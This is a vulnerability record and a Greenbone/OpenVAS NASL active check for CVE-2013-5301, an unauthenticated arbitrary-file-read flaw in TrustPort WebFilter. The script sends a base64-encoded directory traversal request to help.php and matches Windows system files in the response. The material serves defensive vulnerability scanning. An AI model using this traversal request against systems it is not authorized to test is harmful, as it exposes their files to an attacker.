CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:C/I:N/A:N
AI Score
Confidence
Low
EPSS
Percentile
74.0%
TrustPort WebFilter is prone to an arbitrary file access
vulnerability.
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103751");
script_version("2024-06-21T05:05:42+0000");
script_tag(name:"last_modification", value:"2024-06-21 05:05:42 +0000 (Fri, 21 Jun 2024)");
script_tag(name:"creation_date", value:"2013-08-08 10:35:29 +0200 (Thu, 08 Aug 2013)");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_cve_id("CVE-2013-5301");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("TrustPort WebFilter <= 5.5.0.2232 Arbitrary File Access Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl", "os_detection.nasl");
script_mandatory_keys("Host/runs_windows");
script_require_ports("Services/www", 4849);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"TrustPort WebFilter is prone to an arbitrary file access
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"A vulnerability exists within the help.php script, allowing a
remote attacker to access files outside of the webroot with SYSTEM privileges, without
authentication.");
script_tag(name:"impact", value:"An attacker can exploit this issue to read arbitrary files in
the context of the web server process, which may aid in further attacks.");
script_tag(name:"affected", value:"TrustPort WebFilter version 5.5.0.2232 and probably prior.");
script_tag(name:"solution", value:"Updates are available.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61662");
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
port = http_get_port(default: 4849);
if (!http_can_host_php(port: port))
exit(0);
if (!soc = open_sock_tcp(port))
exit(0);
send(socket: soc, data: 'GET /index1.php HTTP/1.0\r\n\r\n');
while (r = recv(socket: soc, length: 1024))
resp += r;
close(soc);
if ("<title>TrustPort WebFilter" >!< resp)
exit(0);
files = traversal_files("windows");
foreach file (keys(files)) {
traversal = "../../../../../../../../../../../../../../../" + files[file];
traversal = base64(str: traversal);
if (!soc = open_sock_tcp(port))
continue;
url = "/help.php?hf=" + traversal;
req = "GET " + url + ' HTTP/1.0\n\n\n\n';
send(socket: soc, data: req);
while (r = recv(socket: soc, length: 1024))
ret += r;
close(soc);
if (eregmatch(pattern: file, string: ret)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);